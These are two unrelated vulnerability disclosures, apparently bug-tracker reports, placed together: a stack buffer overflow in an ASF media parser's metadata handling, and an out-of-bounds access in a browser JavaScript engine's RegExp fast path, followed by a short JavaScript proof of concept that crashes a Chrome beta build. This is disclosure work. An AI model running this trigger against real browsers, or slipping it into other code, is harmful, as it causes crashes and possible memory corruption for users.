There are three variants of the below crash, all of which stemming from an unbound copy into a fixed size stack buffer allocated in the function ASFParser::SetMetaData, used as an argument to each of the three calls to the function unicodeToUtf_8 without checking that the output length will be less than the size of the buffer. You can see in the crashdump that the argv array has been overwritten by junk unicode output, resulting in the corrupted binary path displayed in the output.
|
||||
|
||||
I believe that this issue is mitigated by compiling with stack cookies, so I'm not applying the 90 day deadline to this issue since I don't think it's exploitable except as a denial-of-service.

There is an out-of-bounds access in RegExp.prototype.exec and RegExp.prototype.test. The code defined in BranchIfFastRegExp checks whether a regular expression object has the default map, however, it is possible to alter the map after this check has been performed. This can cause inline fields, such as lastIndex to be changed to dictionary properties. This will cause out-of-bounds reads and writes the next time lastIndex is accessed on the fast path.
|
||||
|
||||
A minimal PoC is as follows, and two full PoCs (one for test and one for exec) are attached.
|
||||
|
||||
var re;
|
||||
function f(){
|
||||
for(var i = 0; i < 100; i++){
|
||||
re["test" + i] = 0x77777777; // make a dict
|
||||
}
|
||||
return 0;
|
||||
}
|
||||
|
||||
re = /-/g;
|
||||
var str = '2016-01-02';
|
||||
re.lastIndex = {valueOf : f};
|
||||
result = re.exec(str);
|
||||
|
||||
This PoC crashes on google-chrome-beta on Linux.
